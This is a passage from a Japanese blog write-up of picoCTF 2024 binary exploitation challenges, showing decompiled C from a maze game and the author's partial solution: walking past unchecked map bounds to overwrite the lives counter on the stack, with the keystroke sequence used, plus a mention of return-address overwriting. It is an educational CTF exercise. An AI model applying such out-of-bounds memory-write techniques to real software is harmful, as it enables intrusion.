      move_player(player,100,map,level); // dキー
    }
    else {
      move_player(player,0x61,map,level);// aキー
    }
    print_map(map,player,level);
  }
  while (*player != 0x1d) {
    if (player[1] < 0x1d) {
      move_player(player,0x77,map,level);// wキー
    }
    else {
      move_player(player,0x73,map,level);// sキー
    }
    print_map(map,player,level);
  }
  sleep(0);
  iVar1 = *player;
  if (iVar1 == 0x1d) {
    iVar1 = player[1];
  }
  return iVar1;
}

void find_player_pos(int map,undefined4 *level)
{
  int local_14;
  int local_10;
  
  local_10 = 0;
  do {
    if (0x1d < local_10) {
      return;
    }
    for (local_14 = 0; local_14 < 0x5a; local_14 = local_14 + 1) {
      if (*(char *)(local_14 + map + local_10 * 0x5a) == player_tile) {
        printf("Player position: %d %d\n",local_10,local_14);
        printf("Level: %d\n",*level);
        return;
      }
    }
    local_10 = local_10 + 1;
  } while( true );
}

void find_end_tile_pos(int map)
{
  int local_14;
  int local_10;
  
  local_10 = 0;
  do {
    if (0x1d < local_10) {
      return;
    }
    for (local_14 = 0; local_14 < 0x5a; local_14 = local_14 + 1) {
      if (*(char *)(local_14 + map + local_10 * 0x5a) == 'X') {
        printf("End tile position: %d %d\n",local_10,local_14);
        return;
      }
    }
    local_10 = local_10 + 1;
  } while( true );
}

void print_lives_left(int player)
{
  printf("Lives left: %d\n",*(undefined4 *)(player + 8));
  return;
}

void clear_screen(void)
{
  printf("\x1b[2J");
  fflush(_stdout);
  return;
}

solve_round関数の 2個目の while の条件が変だと思いますが、関係なさそうです。だいたい分かってきました。マップの範囲をチェックされないので、超えても進めてしまいます。あ、マップの範囲を超えて、任意のマークで値を書き換えるということだと思います!

ちなみに、左に逆向きに進んで、マイナスにすると、表示上はゴールに着けますが、座標としてはマイナスとなってしまい、条件の 下方向 29、右方向 89 とはならないので、ゴール判定になりませんでした。うまく出来てますね(笑)。

スタックの分析を行います。スタックは main関数の先頭で、0xab0(2736byte)確保されます。

アドレス サイズ 内容
ebp
ebp - 0xc(12byte) 4 local_14
ebp - 0xa99(2713byte) 2700 マップ
ebp - 0xaa8(2728byte) 12(15?) 下向きのオフセット、右方向のオフセット、ライフ
ebp - 0xaac(2732byte) 4 レベル

まず、ライフを書き換えてみます。

左に 4+7(aaaaaaaaaaa)行って、上に 3+1(wwww)行きます。ここにライフがあるはずです。ここを大きな値(lz)に書き換えます。ここまでやったところで想定外がありました。何に書き換えても 0x2e(.)に書き戻されてしまいます。これは座標を任意の位置にすることは難しいと思います。

というわけで、lキーは使えないので、ライフの最上位バイトを 0x2e(.)にして、ライフをとても大きい値にしてみます。左に 4+4(aaaaaaaa)行って、上に 3+1(wwww)行って、下に 1つ戻ります(s)。つまり、aaaaaaaawwwws です。やってみます。ライフが 771751972 になりました!

あとは、d と s でゴールまで行けばクリアです。あれ?クリアできません。GDB で見てみます。あ、横方向の座標がマイナスのままでした。右方向に一周します。GDB がリターンキーを押すと、直前のコマンドを繰り返してくれる機能がとてもありがたいです。一周するとゴールできました。レベル 2です!

マップの障害物の位置が右に一つずれました。乱数を使ってたようなので、たまたまでしょうか。基本は同じ方法でいけると思います。しかし、いちいち手作業でゴールに向かうのは大変です。pキーの機能を使ってみます。aaaaaaaawwwwsp です。だいぶ楽ちんです。この入力を繰り返せばクリアできそうです。

レベル 4 まで来ましたが、先に進めません。条件文を見直すと、レベル 4 のときは、最後の while の条件を突破する必要がありそうです。tate と yoko の条件は満たしていますが、レベル 5 と、local_14 の条件が満たせていません。local_14 は、レベル - 1 ですね。両方同時に上がればクリアできそうですが、レベルをインクリメントする if文の中に入れません。

いろいろやってみましたが、ちょっと分かりません。ギブアップします。

他の方の writeup を少し見させてもらったところ、リターンアドレスを書き換えて、ジャンプするそうです。なるほどです。リターンアドレスの書き換えは思いつきませんでした。やはり、Hard 問題は、難しかったです。

現段階では、Medium 問題は、何とか解けそうですが、Hard 問題は、もう少しじっくり取り組む必要があります。最後の方は、ガチャガチャやってた感じがあって、よくなかったと思います。

high frequency troubles(500ポイント)

未着手です。

high frequency troubles問題
high frequency troubles問題

おわりに

今回は、picoCTF の picoCTF 2024 のうち、Binary Exploitation というカテゴリの全10問をやりたかったのですが、最後の 2問はだいぶレベルが高かったです。最後の 1問は、もう少し経験を積んでからチャレンジしたいと思います。

次は、picoCTF 2024 の Reverse Engineering に挑戦してみたいと思います。

最後になりましたが、エンジニアグループのランキングに参加中です。

気楽にポチッとよろしくお願いいたします🙇

今回は以上です!

最後までお読みいただき、ありがとうございました。




以上の内容はhttps://daisuke20240310.hatenablog.com/entry/picoctf2024beより取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14